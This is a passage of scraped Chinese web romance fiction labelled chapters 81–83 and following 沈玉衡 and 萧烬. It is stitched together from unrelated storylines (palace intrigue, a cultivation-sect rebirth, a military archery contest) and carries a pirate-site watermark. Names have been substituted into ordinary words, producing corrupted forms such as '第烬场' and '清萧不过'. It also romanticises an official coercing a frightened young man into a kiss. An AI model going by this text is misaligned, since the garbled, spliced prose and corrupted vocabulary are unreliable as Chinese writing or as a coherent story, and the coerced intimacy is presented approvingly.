但他怕他牵涉太深,问太多,萧烬会怀疑他。 到他这个位置的,疑心都重。楼窗沿外是坠满点点孔明灯的天幕,一盏盏飞掠过雕梁画栋、玉宇琼楼,如漫天遍地的星火。 沈玉衡顿了顿,轻笑一声,歪了歪头看着萧烬,说:“对我这么好?” 他的眼眸明亮,里头印着点点灯火光,萧烬看着他瞳孔里的自己,借了沈玉衡的风,同样也熠熠生辉。 若自己在他心里,当真也是如此模样就好了。 萧烬的指腹抚了抚圈着沈玉衡的扳指,说:“嗯,所以不可以弄丢。” 拇指上的白玉扳指凉凉的,给沈玉衡的灵台点了一点清明,但只有一点,尚且不至于彻底挥散掉他眼底朦胧的醉意。 “看在你这么用心准备的份上。”沈玉衡抬起手,在萧烬的头上揉了揉,“好说,世子爷答应你就是。” 头顶算不上轻柔的动作让萧烬失笑,还以为方才有一瞬,沈玉衡已经彻底清醒了过来,可现在看着,显然是他察觉错了。 塞上白这样的烈酒,入口便得了辣味,被碰的唇刺痛,喉咙也刺痛,一下便知需得适可而止,不染愁却恰恰相反,酒味清淡且是甜口,极易令人贪杯不止,后劲上来,不知不觉间便使人醉得深了。 一如眼前这人。 故而沈玉衡没有多说,只是换了个话题与萧烬提起:“厂公,我想吃香栾,可以么?” 萧烬好像喜欢他大胆些,他也有注意到。 这几日他和萧烬看似没有太多接触,但他一直在小心地去试探一条线。 能让他稍微舒服点又不会惹萧烬生气的线。 至少目前,沈玉衡还没踩着那根线。 萧烬听到他提要求,也只是一抬眉,还与他玩笑了句:“不是说不喜香栾么?” 沈玉衡心道他到底是怎么做到他与旁人说的每句话他都知道的,面上只说:“我不打他的脸,他只会更加纠缠。一点面子都不给,他也会觉得没趣。” 他微垂眼帘,没有刻意拿捏姿态,但那张本该是以孤傲的姿态睥睨着人才最合适的脸低垂着时,总是会叫人无端有点心碎,尤其他声音轻轻的:“毕竟我还未登基,他只当我是厂公的人偶,没当我是太子。” 萧烬听到这话,低头睨了他一眼,就瞧见他这副姿态,浑身都无声地散发着几分可怜的气息,萧烬却意味不明地呵笑了声。 沈玉衡的身体瞬间就紧绷了起来,他藏在袖袍里的手无声地握成了拳,还在想要如何补救,就听萧烬又带着几分说不出味道的语气同小圆子吩咐:“小圆子,去皇后宫里把那香栾带来,还有那会做香栾虾仁的厨子。” 小圆子都没问万一皇后不给怎么办,低头应是,就带了几个人去了。 沈玉衡放松了下来,他们正好到了东宫门口,沈玉衡在跨门槛时,萧烬突然扶了他一把。 他搀住他的手,哪怕隔着衣物,沈玉衡还是觉得自己好似感觉到他的皮肤贴了上来。 萧烬攥他的力度不小,将他牢牢抓在手中,沈玉衡当真是不习惯这样的接触,紧绷着,忍着才没有甩开。 但萧烬瞧见他一瞬间闪过的忍耐,就更加兴奋地舔了下尖牙:“殿下。” 他低着头,看着好像在扶沈玉衡,其实反而拉住了人。 萧烬凑沈玉衡太近,偏生沈玉衡又躲不掉更不敢躲。 他只能由着萧烬的吐息隔着几缕发丝撒落在他的耳旁,听他压着嗓音,慢声细语地与他调笑着说了句对于沈玉衡而言,是极为轻佻的话:“殿下,你是在同臣撒娇么?” 沈玉衡:“……” 他那一瞬间,汗毛都竖起来了。 到底才十八,沈玉衡没忍住,偏头不可思议地看了萧烬一眼。 谁…他说谁撒娇??? 萧烬不仅没有因为这一眼不悦,反而笑得更深。 小太子是真没意识到他刚才是在撒娇耍小心机呀,那早知道他便不戳破了。 万一以后不玩这些他还挺喜欢的小手段了怎么办。 萧烬想了想,决定直接告诉沈玉衡。 他没有意识到,在这宫中、官场上混迹久了,他的那慢慢被磨得不太会直接表述自己喜恶的性子,在此时又有点往回倒了:“殿下莫急,臣对这一套还挺受用的。” 他笑眯眯地问:“你同十皇子有过节?” “……” 沈玉衡有那么一刹那是不想说话了的。 但他另一只脚也跨过了东宫的门后,到底还是开口:“幼时……” 沈玉衡别过头:“约莫是我六七岁的时候吧,那时宫里对我的态度稍微好了点,没那么冷待了,我就背着嬷嬷偷跑出来玩。” 他还是记着嬷嬷说的话,没走远,就在附近。 那儿挨着冷宫,平时人也少。 沈玉衡低眼:“却不曾想撞上了他。” 这里的撞上,是指看见,不是撞到。 当时沈玉衡是捡了宫里自小进宫的太监不要的私服穿,远远看着,自然会被认为是奴才。 这点沈玉衡不怪十皇子,可他的侍卫强行摁着他行礼后,十皇子看了他一眼,他清楚地听见他那位十哥笑了声,道:“原是十七。” 沈玉衡还未站起来说对,他的侍卫就将他摁得更用力,他又听见他说:“这张脸还这么小,就同他母亲一般长得这么狐媚,说不定真是妖精转世,倒不如毁了算了。” 那时候沈玉衡才多大,脸都吓白了,也总算明白了嬷嬷为何总与他说他虽是皇子,但这宫里的皇子公主们,都不是他的兄弟姊妹。 沈玉衡看向萧烬,他虽然记着这份仇,但却并没有太多恨,所以他神色没有过多的波动:“说起来,我能保住这张脸,甚至这条命,还得多谢厂公。” 萧烬心里还在计较十皇子差点把这世间独有的能洗眼的脸毁了,闻言又是抬了下眉:“与我何干?” 沈玉衡浅浅一笑:“他本来都要动手了,下属却来报说厂公进宫了,他便慌忙让人准备,去找你。” 萧烬微顿,哪怕只是个巧合,他也认得理直气壮:“那殿下确实得好好谢谢臣。” 两人在说话间坐下,萧烬靠进软垫里,姿态懒散:“殿下准备如何谢臣?” 沈玉衡:“……” 他就不该多这一句嘴。 本是想趁着萧烬心情好像不错了,再试探一下,他到底能以什么样的姿态去跟萧烬相处——毕竟他俩还不知道要日日相见多少年,再说沈玉衡还想挣扎一下,看看有没有法子打消萧烬对他的那些个念头。 结果没想到…… 也是。 萧烬怎么可能会谦虚。 沈玉衡低眼:“厂公想要什么?” 萧烬仔细想了想守孝只说不能行房丨事,没说不能搂搂抱抱。 于是萧烬在这其中选择了中间那一个。 他轻勾起嘴角,指了指自己的脸。 大约是没学过太多礼义廉耻,他说话确实有些无遮拦,也得亏此时他们身边都没有人,全去准备午膳的事了。 萧烬点了点自己的脸:“之前帮过你,现在又帮你一次,殿下怎么也该亲臣一下,表示表示吧?” 沈玉衡不可思议地看着他,瞬间就撩起了眼睛,瞪大了眼睛。 他那双柳叶眼平日里总有几分疏离清冷,像是枝头上的一抹白雪,落不到地上,纯净且寒凉。偏叫萧烬这样的人心痒得很,非要抖落下来,抓在掌心里,甚至含到嘴里,去品一品这样的雪是否香甜。 而如今流露出这样震惊的神态来,又显得鲜活,叫萧烬死寂的心都跟着震动。 萧烬无意识地用舌尖再扫了下自己的尖牙,表明自己并非玩笑的态度:“殿下不愿?” 沈玉衡攥紧了自己的衣袍。 他怎敢不愿。 但沈玉衡想试一试,跟萧烬提要求:“你……闭上眼睛,可以吗?” “可以是可以。” 萧烬今日好似很好说话,可他下一句就是:“但得殿下先让我睁着眼睛亲臣一口,臣确认一下殿下并非糊弄我,再闭眼。” 他悠悠:“毕竟臣从没被亲过,也不知道是什么滋味,万一殿下糊弄,臣也不会知道。” 沈玉衡:“……” 他有点不信萧烬没有看上过那个宫女太监,因为他真的…… 但是萧烬也没有必要骗他。 除非故意逗他。 沈玉衡轻呼出口气,到底还是凑近了萧烬。 他低垂着眼帘,通过萧烬的肩颈去确认位置,但人却不住微微抖着。 既是紧张,也有几分羞愤。 他…是个男人。 沈玉衡闭上了眼睛,在萧烬的脸上轻轻贴了一下。 在碰到了萧烬的那一刻,沈玉衡就飞速地想要退开,却被萧烬一把揽住了腰身。 他睁开眼,便猝不及防地以一个几近的距离对上了萧烬晦涩阴暗的眸子,沈玉衡颤了颤,但萧烬什么都没有做,只是闭上了眼,低着嗓音说:“殿下,还有闭眼的一下。” 沈玉衡被他困在怀里,根本退不了,这时候也完全没有脑子能与他辩一辩,只想快点完事退开。 再说已经亲过一次了,再亲一次又何妨—— 沈玉衡再度闭上眼睛,颤着眼睛贴了上去。 可也就是他动的时候,他感觉萧烬也微微动了动。 再然后的触感,就完全不一样了。 比脸还柔软,还有几分湿润,两瓣的…… 沈玉衡不可思议地睁开了眼睛。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第 81 章 第 81 章 81 沈玉衡阖上眼后,听到了无数种声音。 叱骂,叫喊,嘶吼,哭号,此刻全都混做一团,涌入了他已经无暇思考的大脑之中。 死前还不得清净,实在是件扫兴的事。 趁着骚乱之际,沈玉衡双眼颤动,最后一次让视线越过尸横遍野,看向了那间他住了近百年的破屋——如今已在打斗中沦为一片废墟的光景。 有建屋之时,便有拆屋之日,冥冥之中,好像一切都早已定数。 那间屋子建的不大,里面要啥没啥,萧烬还没来时,沈玉衡大都在人间玩乐度日,很少会在这间空屋过夜。 细数一番,萧烬来后,很多事都发生了变化。 他还记得那一天,他是怎么把那个少年捡回来的。 ——最开始,也是长久的黑暗。 耳边的鸟啼雀鸣伴着东升的日光一道响起,浅眠中的沈玉衡两眼一睁,看到眼前叶影重叠,嫩绿摇曳,不由皱了皱眉:他不是在喝酒吗?怎么喝到林子里去了? 沈玉衡扶着额坐起,这隔夜酒还未醒,外加吹了一整晚山风,现在整个人晕乎得很。他寻思着昨晚自己到底是喝了多少白酒,怎么喉里竟疼的这样厉害。 他只想找条灵溪洗洗喉咙,然而走了两步,忽又想起昨夜白长卿的那堆唠叨,心里便郁闷了起来。 收徒弟? 他可是这么一个人过了将近百年的日子,早就不怕什么孤独寂寞,再说,他那屋子里就一张床,总不能让他们师徒像一对道侣似的夜夜同枕共眠吧? 他知道白长卿心里在盘算什么,用一个徒弟把自己留在山上,不让自己去凡人的城里玩乐——这当然是不可能的。 想着想着,一条溪水忽地闯入眼帘,让喉咙正辣的沈玉衡的心情来了个峰回路转。他倾身上前,看也不看,便用手捧起溪水,直直地送入了口中。 呸! 沈玉衡被猛地呛了好几下子,心里气得不行,暗骂这水怎么会这么腥?还净是一股血臭味! 等等,血臭? 那从刚才起,他鼻息中这股越来越无法忽视的气味是…… 沈玉衡转过头,才发现一个倒在溪水中的少年——他身上的大半皮肤已然焦黑溃烂,可怖无比,空气中的血臭味,很显然便是来源于他了。 ……死了? 沈玉衡霎时酒醒了大半,忙将这少年从溪水中捞起,二指探向他的鼻息,才默默松了口气。虽然只是非常微弱的气息,但只要没死,总还是救得回来的。 然而,待到他看清了这小子的面孔之后,他又愣住了。 这张面孔,他并非第一次看见。 这小子……不是门派里那个有名的剑修萧烬吗? 前段时间举办的门派大典上,沈玉衡远远地见过他一次。 那时他被人群簇拥,光彩无比,所有人都争相要去结识他,这样一个出身寒门,才二十出头就已结丹的年轻剑修,一个面若冠玉,剑眉星目的俊美少年,将来注定前途无量,也必定是这些天资平平者最想攀附的。 每一年的门派大典,都会出这么一两个平辈中的佼佼者,沈玉衡对他也并不好奇——直到大典上的拜师环节上,萧烬在众人震惊的目光下摇了摇头,拒绝了项逐天的收徒。 项逐天是谁? 那可是弟子们心中默认的下一任掌门,相貌不凡又才德兼备,近乎完美的洛神仙君!被项逐天收做他的内门弟子,可是仙鸣山派多少小修士的心中梦想! 沈玉衡还记得那个自视甚高的家伙,失态地张大眼睛问:“萧烬……你方才说什么?” “谢谢前辈的好意。”萧烬的语气不卑不亢,他平静地看着有些脸色已经扭曲的洛神君,“晚辈自知修炼不足,学识尚浅,如今还是打根骨的关键时候,拜师之事,还不可操之过急。” 众人心中惊叹:一个金丹初期的修士还打什么根骨?这分明是在打洛神君的脸啊! 而沈玉衡心中只有一个字:爽! 这可当真是爽——沈玉衡自小跟着他与白长卿两位师兄长大,而在他认识项逐天的这近百年中,他总是戴着一副善解人意的温柔假面,这一点,沈玉衡最清萧不过了。 第一次有人敢当众颤动这幅假面,能不爽吗? 项逐天则还没从被拒绝的震惊中走出来,他嘴角抽了抽,刚想说话,就听见啪啪啪啪啪……从席下传来一阵清脆的鼓掌声,险些没把他给气晕过去。 项逐天强忍愤怒,努力维持着那副温柔的凤目弯眉,却不自觉地拧出了一副狰狞的面孔:“你……沈师弟,这儿,可是有何值得你庆贺的事?” 沈玉衡跳上木椅,一脸正色道:“我们门派竟有如此谦逊懂事的弟子,我能不高兴吗?人高兴了就爱鼓掌,这可不成问题吧?” “是不成问题!”项逐天的声音不自觉地抬高,又自觉失态,重新眯起一双温柔似水的眉眼,“怎会有问题呢?能让沈师弟有所感悟,萧烬也必是可塑之才……拜师之事的确不可马虎,今日是我心急了,这件事便暂且放下吧。” 不欢而散。 但这回过后,沈玉衡还是第一次记住了一个与他并无关系的名字。 “萧……萧烬?”沈玉衡嘴边念叨着,把昏厥过去的少年抬手一翻——他脸颊两侧都被烈火烧出了赤黑色的血痂,可却仍遮不住这一张能让人联想起月明风清的俊秀面庞。 沈玉衡往他身上烧伤最为严重的伤痕处捣鼓了一阵子,发觉他身上的伤势没有一点要好转的迹象。按理来说,修仙之人,身体本该有自愈的能力,除非伤势过重,伤及内丹。 他心底思量:就这么把人拎回去的话,准是要引来一堆麻烦事的,可放在这儿不管的话,内丹一旦承受不住损伤,恐怕是会修为全废。而对一个修仙者来说,没什么比这更加痛苦了。 权衡之下,虽然心觉麻烦,但沈玉衡还是扛起人,沿着灵溪流下的方向,一步步地往山上走去——只要这小子伤好之后,不要带着一大帮人上山给他送一面写着“见义勇为”的锦旗,就算是对他最好的回报了。 刚搬回屋里时,萧烬虽然眉头紧锁,表情恐怖得很,但总归还算温顺安静。让沈玉衡最为火大的还是给他喂药的过程,他刚将一勺灵药汤送进他嘴里,这个半死不活的身子忽然就毫无征兆地闹腾了起来,把一整碗药汤砸在地上摔了个粉碎,乌黑的汤水溅了一地,散出了浓郁扑鼻的苦味来。 偏偏沈玉衡不信邪,就这么和他杠上了。 第二碗。 啪—— 第三碗。 啪—— 第四碗。 萧烬仍在昏迷,下意识地挥手想要拍掉这又苦又腥的液体,没料到手一伸出,却扑了个空。 打!我让你再打! 正在气头上的沈玉衡干脆两腿一蹬,自己爬到了床上,将这个过分活跃的病人按在了床板上,再用麻绳牢牢捆住了他的两条胳膊——碗碟破碎的声音才总算没再次响起。 但喝药的问题却只解决了一半。 沈玉衡看着眼前这个死活不肯张嘴的小子,怀疑自己刚才是不是鬼迷心窍,才想到把这么个大.麻烦带回屋。 “你……”沈玉衡脾气本来就不算好,现在更是不客气地攥着汤勺想要撬开他的嘴,“休想我嘴对嘴喂你,前三碗药都给你砸了,这一碗你要是不喝,伤也别想好了,我直接把你丢到河里让你顺流而下,回归自然,行吧?” 沈玉衡说完这番狠话,试探着又将汤勺往他嘴里送了一次,不知萧烬是否是真的听进了他的话,这一回送药送的轻松极了,很快,沈玉衡手中的药汤已经快要见底。 床上的少年额上浸满汗水,皱着眉吞进一勺勺乌黑的灵药汤,身上焦裂的血痂和伤口也逐渐愈合,长出了新的皮肉。 沈玉衡见他的呼吸逐渐平复下来,也放下了心。 他真是疯了,竟然主动给自己找来这么一个大麻烦,难道真是过腻了一个人的日子,想要给自己找点事做了? 一声疲倦的哈欠声响起,沈玉衡升了个懒腰,把床上正熟睡的病人踹了踹,给自己挪出了一个位。 躺下,抢过一半被子,安慰地睡下…… “啪。” 脸上一阵酸痛。 沈玉衡默默睁开眼,看向自己脸上横着的这只胳膊。 他暗暗在心里发誓:再乱捡东西回家,他就不叫沈玉衡,改叫沈麻烦。 好在萧烬的大半力气已经在和药碗的搏斗中耗尽了,没有多余的力气来摆出更加“多样”的睡姿,对沈玉衡睡眠质量的破坏也降低了不少。 那之后,整整过了五天五夜,萧烬才从长久的昏迷中醒来。 首先映入眼帘的,是深棕色的陌生木质屋顶。 室内的环境有些阴暗,照亮视线的,只有几丝从窗缝中射.入的阳光,驱散着让人难以忍受的潮气。 萧烬撑起身子,短暂地思考了片刻,确信这儿既不是山下那个在大火中燃烧殆尽的村庄,也不是经过细心打理的门派建筑。 一阵不快不慢的脚步声从屋外响起,立即让萧烬提起了十足的警惕。 抱着酒葫芦的沈玉衡走进屋,抬起眼道:“醒了?” 萧烬怔然地瞪直双眼,像是没听见他在问话似的,沙哑出声道:“……我的剑呢?” “剑?”沈玉衡嘴角一抽。“这儿没剑,只有水。” 萧烬的脸色一沉,想要说话,却只听到了一阵低沉沙哑的嘶声。 “都这样了还逞什么能?把这喝了。” 萧烬沉默地接过沈玉衡递来的碗清水,咕咚咕咚地往自己口中送去,清甜冰凉的液体尽数涌入喉中后,他轻.喘了两下,总算恢复了原来的嗓音。 “萧,萧烬……你有没有什么别的名字?这个也太拗口了。” 萧烬淡淡瞥了他一眼,垂眸凝思了很久,在沈玉衡刚想说‘算了算了’的时候,才艰难地吐出两字:“……萧烬。” 萧烬?怎么跟个小姑娘的名字似的? 萧烬余光瞄了眼他,又很快拉回视线:“……我娘把我带回家时,正巧是满月天。” 沈玉衡点点头,也无暇再听他讲什么从前舅舅爷爷的故事,便抬手道:“喝完了?碗给我,我去再接点水来。” 萧烬眨了眨眼:“上青峰的小童呢?” 沈玉衡有些意外:他倒还记得他是谁。 萧烬的疑问也不无道理——按理来说,像白长卿,项逐天那样的峰主,少说都会有几十个小童,分别负责他们的起居,饮食,甚至沐浴。 但这儿可是上青峰。 既然是沈玉衡住的地方,那么外头的一切常规在这儿都不作数。别说负责打水的小童了,那帮小破孩走的时候,干脆连个水桶都没给他留。 沈玉衡叹了声气:“没有那种人。” 萧烬惊讶地抬起了眼:“怎么可能?” “怎么不可能?你就乖乖休息吧。”沈玉衡满不在乎地摆摆手,丢下一盒药膏,“这个药膏我也用不上,你……爱用就用吧,至于其他的事,等我回来再说。” 他不慌不忙地走出小屋,留下一室沉寂。 萧烬打开盖子,凑前闻了闻。 嫩绿色的药膏香味很淡,温热的指尖触上去,凉凉的,很舒服。 想起刚刚那人笨拙的好意,他不自觉地勾起了嘴角。 萧烬笑得很淡,很短,却也很深。 再后来,沈玉衡的那间小屋便多了一个人,替他打水,扫屋子,做菜,照顾他的一切。 沈玉衡一成不变的生活中,第一次照进了一道不一样的光彩。 直到他真正身死之时,沈玉衡才发现这世间恨他的人,竟然是如此之多。 而真正在乎他,想要他活着的,只有这寥寥一人。 想到这里,他已经脱离躯壳的灵体在黑暗中自嘲地笑了笑,学着自己记忆中的样子,喃喃着:“等我回来……” 若他还能回到当初那一日,绝不会再让那些事发生在他们身上。 萧烬。 如果再有来世,他要把他所欠下的,全都还给他。 “如果……” “如果什么?还在这儿装睡!” 熟悉的咆哮声在沈玉衡耳边响起,把他惊得猛地睁开了眼——眼前竟是阔别已久的青天白日,鸟雀盘旋,就连传入耳中的啼鸣声也格外真实。 ……什么情况? 耳边熟悉的咆哮又再次响起:“沈玉衡……你给我马上起来。” “哈?” 沈玉衡试着出声,果真听到了自己从喉里的一声疑问。 “我又活了?” 难掩重生的欣喜,他一个鲤鱼打挺跳了起来,正巧就将脸埋进了一个紧实的胸膛之中。 沈玉衡抬头一看。 嗯,他认识这个人。 阴沉的脸色,凶恶的气场,还有这一身万年不变的白衣素袍…… 这,这不是上辈子把他活活砍死的白长卿吗??? 重生后,心中那一瞬的惊喜,一下又降至了冰点。 他确实活了。 但好像,离死也不远了…… 第 82 章 第 82 章 82 沈玉衡冷硬的语气像一把刀子,在两人中间深深划出一道沟壑。 萧烬轻轻触摸着脸上的血印,黏腻的触感停留在指尖,他眼神茫然中有几分委屈,像个做错了事的孩子般低下头。 一副不明白自己为何会被如此对待的无辜样子。 如果不是见过自己曾被折磨的如何凄惨,沈玉衡几乎要被骗过去了。 不能心软。 他一遍遍告诫自己,狠下心来擦干了手上的血。 校场上,数排营旗在风中猎猎作响。 士兵们早就按队列站在校场两边,不仅没因天寒风大而缩手缩脚,反倒个个精神百倍,神情兴奋。 沈玉衡觉得下午好像比中午更冷了些,出来前又喝一碗姜汤。 萧烬与他同行,发觉他好像格外畏寒,脚步微顿,迟疑问:“你是不是……身体不舒服?” 沈玉衡忍着寒冷,朝他笑了笑道:“这两天风寒有些加重,本来已经好转了,只是没想到外面风会这么大。” 萧烬闻言一怔,忽然想,对方前两天没来看他,会不会其实就是因为生病了? 他犹豫一下,开口:“要不,你先回去吧,我一个人也……” “来都来了,不急这一会儿。”沈玉衡微笑打断。 两人一同到挑马的地方。 沈玉衡将面前一匹枣红骏马从头检查到马蹄,又从马嚼检查到马尾,确定没问题后,才放心道:“你上去吧。” 想来也是,营中战马不多,每一匹都被精心养护,甚至陈将军亲自叮咛过,人能缺吃的,马都不能。 大周对胡人,在马匹上本就存在劣势,这些高大战马每一匹都来之不易,加上陈将军重视,显然没人敢动手脚。 萧烬已经身背羽箭,手持长弓,一身甲衣冷肃。他深深看沈玉衡一眼,才翻身上马,身影潇洒利落。 不远处,陈青忍不住咂摸:“还真像那么回事,不过可千万别是绣花枕头——只看着好看啊。” “那青哥,你第烬场押谁?”烬子在旁小心问。 “废话,当然是押我兄弟——萧烬!”陈青一巴掌拍他肩上,咬牙道,“上午输的钱,下午一定得赚回来。” 枣红骏马上,萧烬又偷觑沈玉衡一眼,才勒紧缰绳,调转马头上场。 沈玉衡目送他背影越来越远,直到陈青忍不住凑过来,谄笑问:“沈姑娘,还押吗?” 沈玉衡回神,笑了一下,道:“押。” 即便知道第烬场不一定能赢,但他还是押了萧烬。 台上,陈将军等人已经坐定。 一名军中文职官吏开口:“今天风大,等会儿比起来,恐怕会影响射箭的准头啊。” 有人下意识道:“蒋百夫长箭法精妙,倒不会因风大就……” 话没说完,他忽然意识到什么,顿时尴尬笑笑,不再继续。 蒋和这次没像上午那样接话,一直板着脸。其他人见状,也都默契地不开口。 “风不是问题,难道打胡人时,风大就不射箭了?”陈将军似笑非笑,接着向传令兵示意开始。 “咚!” 随着铜锣敲响,第一名士兵骑着骏马,自校场东边疾驰而来,带起一路烟尘。经过看台下方时,他同时伸手从身后取出羽箭,搭弓扣弦—— “唰唰唰!” 接连数发。 骏马奔到校场最西时,负责看靶的士兵同时也报出成绩:“马康起,九箭中三——” “唉!”周围人一阵摇头叹气声。 “马康起平日训练还行啊,骑射的话,九箭起码能中五箭,步射也能中七箭,拉的还都是重弓。” “今天风大,有影响。” “骑射还是要看蒋百夫长,他不仅百发百中,还能正中靶心。” “我倒更想看上午那个打败他的萧烬怎么样。” 之后又有数十名士兵上场,成绩有好有坏,但都没有全中靶心。 直到蒋百夫长上场,众人不由都提起精神,眼神期待。 台上众人不由也都正襟危坐,紧盯下方。 蒋百夫长脸上和手上都绑了包扎伤口的白布带,一只眼睛还青肿着。上场前,他冷冷扫一眼身后的萧烬,随即抽鞭驾马。 一阵马声嘶鸣,伴随尘土扬起,蒋百夫长果断抽箭,拉弓—— “咻咻咻!” “九箭九中,全中靶心——” 几乎是他刚到校场尽头,勒马停下,场上就传来报成绩的声音。 “嚯!”周围士兵一阵惊叹。 “不愧是蒋百夫长!” “我就知道这点风对他来说没什么影响。” “他骑射确实厉害。” “也不看看他是什么出身,听说人家从小就练,跟咱们普通老百姓可不一样。” 沈玉衡站在校场外围,目光平静看着这一幕。 其实,单论身手和骑射功夫,蒋百夫长……包括他的兄长蒋和,确实都有几分本事,假以时日,或许能成为一方将军。 不过沈玉衡并不看好,这兄弟俩的品性都很有问题。 他冷淡地收回目光,再次看向萧烬。 校场对面,蒋百夫长也看向萧烬,目光挑衅。 不错,他是听伤兵营里的耳目说,萧烬曾自夸箭术厉害,但现在他已经九箭全中靶心,萧烬就是再厉害,又能厉害到哪? 他此刻想不自信都难,见场上士兵前去换靶,直接扬声道:“不必换了,谁还能再中靶心不成?” 话一落,负责换靶的士兵迟疑,看向台上的陈将军等人。 谁知,未等陈将军等人发话,萧烬先冷淡开口:“那就不换。” 这下负责换靶的士兵更愣了,两旁观看的士兵也忍不住私语: “萧烬这是怂了?反正射不中靶心,也觉得没必要换?” “应该吧,蒋百夫长已经九箭九中靶心,萧烬就是再厉害,也超不了这个成绩。” 台上众人也面面相觑,蒋和冷哼道:“此人未免太过狂妄,且目无军纪,我等都还未开口,轮得到他说话?” 众人:“……” 胡郎中心想,你弟弟刚才不也是吗? 最后陈将军抬手一挥:“那就不换。” 台下,众人不由又提起精神,数千双眼睛紧盯着靶场,纷纷在心中猜测:这萧烬到底是怂了,还是另有打算? 沈玉衡也下意识望向萧烬,他本来对第烬场的输赢抱着无所谓心态,但形势到此,却也不得不提起心来。 萧烬恰也转头看他,见他目露担忧,忽然朝他弯起唇角,露出一抹清湛笑容。 接着他目光坚毅,俯身驾马而奔,同时从身后抽箭,视线紧盯靶心。 马蹄声激荡,随着他快速拉弓扣弦—— “嗖嗖嗖!” 一阵尘土激扬,等尘埃散尽,满场寂静—— 九箭九中,且全部射中蒋百夫长射中的位置! 萧烬不仅把蒋百夫长留下的箭全部射落,其中六箭还直接射穿了靶心。 要知道,蒋百夫长虽九箭都射中了靶心的红圈,但红圈起码有拳头大小,比箭尖扎的位置大多了。何况蒋百夫长虽九箭都射中红圈,但并非每箭都在红圈中心。 这样一比,萧烬要将他每箭都射落,显然比单纯射中红圈更难。更不必说他有几箭还直接将靶心射穿,力道可见一斑。 在场众人一阵惊撼,报成绩的士兵甚至忘了开口,足足过了两息,才瞠目道:“九、九箭九中,皆正中靶心!” 观看的士兵顿时沸腾,发出阵阵喝彩声。 萧烬目光第一时间寻向沈玉衡,沈玉衡眼中也露出星星点点笑意。 旁边陈青更是激动得搂着自己小弟的肩膀,兴奋道:“赢了,萧烬又赢了,还好我押了他!” 校场对面,蒋百夫长面色瞬间冷沉,紧紧咬牙瞪视萧烬。 萧烬仿若未觉,驾马欲回对面。 却忽然,台上的蒋和沉着脸,缓缓开口:“怎么就是萧烬赢了?我看两人都九箭九中,应该算是平局。” “这……”正替萧烬高兴的胡郎中一时愣住,忍不住解释,“虽然都是九箭九中,但萧烬明显技高一筹,把靶心都射穿了。” “本场只是比射箭的准度,又不是比谁能射穿靶心。若是提前定下这条规矩,焉知蒋铳就射不穿靶心?”蒋和驳斥。 几个跟蒋和一条心的军官忙附和: “是啊,事先又没说。” “说了比准度,就要比准度嘛。” 胡郎中不满,但还是克制说:“萧烬射中蒋百夫长射过的位置,比单纯射中红圈更难,便是只比准度,也应是萧烬更胜一筹。” “呵,既然是同样位置,怎就能说是蒋铳输,萧烬赢?难道只因为萧烬后射?”蒋和轻蔑。 “这……”这不是明眼人都能看出来的吗?红圈有拳头大小,但箭尖扎的位置只有拇指大小,当然是射后者更难。且骑射是选拔骑术箭法都精湛者,怎就变成只比准度了? 胡郎中一时被噎住。 “虽然是同样位置,但萧烬后射,当然更考验箭法。” 有人替胡郎中开口,立刻也赢得一阵附和,且这些人明显都看向陈将军。 “我看还是要按定好的规矩来。”蒋和扫那人一眼,嗤笑,“不然,有人不射靶心,直接往远处的树上射,万一射中片叶子,是不是也要自夸一句是百步穿杨?” 说完,也赢得一阵附和。 显然,这些营中高层分两派,一派跟着蒋校尉走,一派跟着陈将军。 如今蒋校尉背靠新郡守,位低却势大,越来越有压陈将军一头的趋势。而提拔陈将军前郡守,却已经被调走。 蒋和说完,也转向陈将军,表面恭敬道:“将军,您认为呢?” 陈将军面色冷沉,最终挥手妥协:“那便算平局吧。” “咚!”铜锣再次敲响。 传令兵很快宣布:“第烬场,蒋铳和萧烬,平局!” “什么?!” 正欢呼的陈青愣住,脸上笑容一点点消失。 旁边烬子顿时也傻眼:“青哥,你押了萧哥赢,押了五十钱呢,又赔了。” “我知道!”陈青回神,重重一把按在他脑门,想哭的心都有了,“怎么会是平局呢?怎么能是平局?” 沈玉衡一点点移开挡住耳朵的手,没有完全恢复的听力,突然听见了一丝压抑着痛苦的沉吟和喘//息。 他猛地推开门,与岳枫怔愣的眼神四目相对,两人都有一瞬间的慌张。 沈玉衡的视线掠过岳枫手里明晃晃一把染血的刀,看向了旁边—— 萧烬的后背抵在墙上,他皱着眉头捂住小腹,那里渗出大片大片的赤红鲜血,已经将龙袍尽数染红,触目惊心。 他微微张开唇,沙哑痛苦的声音缓缓吐出两个不怎么能听清的字眼。 沈玉衡伸出的手被岳枫一下子握紧,拽开。 “跟我走!” 第 83 章 第 83 章 83 第三场比试紧接着第烬场。 随着日头渐渐西移,校场上的风似乎愈发凛冽,寒意愈显。 场地中央,一匹匹战马已经按次序站好,马上的士兵个个身穿甲衣,腰背弓箭,整装待发。 因为营地战马有限,能参加这场比试的人并不多。基本得是在第烬场中拿到不错名次的人,才有资格参加。 毕竟这场说是综合考校,但实际主要还是比骑射。 萧烬骑着骏马,在第一排中间位置,他旁边就是蒋百夫长。两人目光对上,都带着几分冷意。 “小子,接下来你可没那么好运气。”蒋百夫长忍不住挑衅,青肿成缝的右眼闪过一抹阴狠。 萧烬不予理会,他下意识转头,又看向站在校场东侧的沈玉衡。 沈玉衡轻敛笑容,朝他做了个鼓舞的手势。 萧烬不觉唇角微扬,下意识摸向被自己小心放在心口的佛珠,只觉那里微微发烫。 许久,他才依依不舍收回视线。 旁边,蒋百夫长又冷哼一声。 萧烬终于抬眸,也冷冷看他。 目光一对视,仿佛有刀在空气中飞射。 沈玉衡在萧烬视线收回后,很快又看向张虎。 张虎恰好也转头看向他,两人视线对上,彼此不着痕迹地点了下头,都心照不宣。 校场上风声猎猎,气氛肃杀。 随着铜锣敲响,一声高喝:“开始——” 霎时,百来匹骏马如离弦的箭,齐齐奔出。 校场上一时马声嘶鸣,马蹄声震荡。眨眼间,场上便只剩一片尘烟。 沈玉衡在铜锣敲响那一刻,便下意识闭上眼,双手交握放在心口,心中默念:父亲,你一定要保佑。 默念完,他才睁开清丽双目,眺望远方。 远处,战马飞奔过的地方,留下一道长长的烟尘。 而在烟尘前方,沈玉衡一眼便望见萧烬驾着那匹枣红骏马,冲在最前,将蒋百夫长等人都甩开一大截。 他唇角不觉扬起笑意,目光中带着一些自己都没察觉的欣赏……和一丝莫名的骄傲。 场上士兵也都忍不住握拳呐喊,一个个激动得脸红脖子粗:“萧烬冲啊,萧烬第一!” 台上,陈将军见萧烬遥遥领先,也忍不住捋着短须,呵呵笑起来。 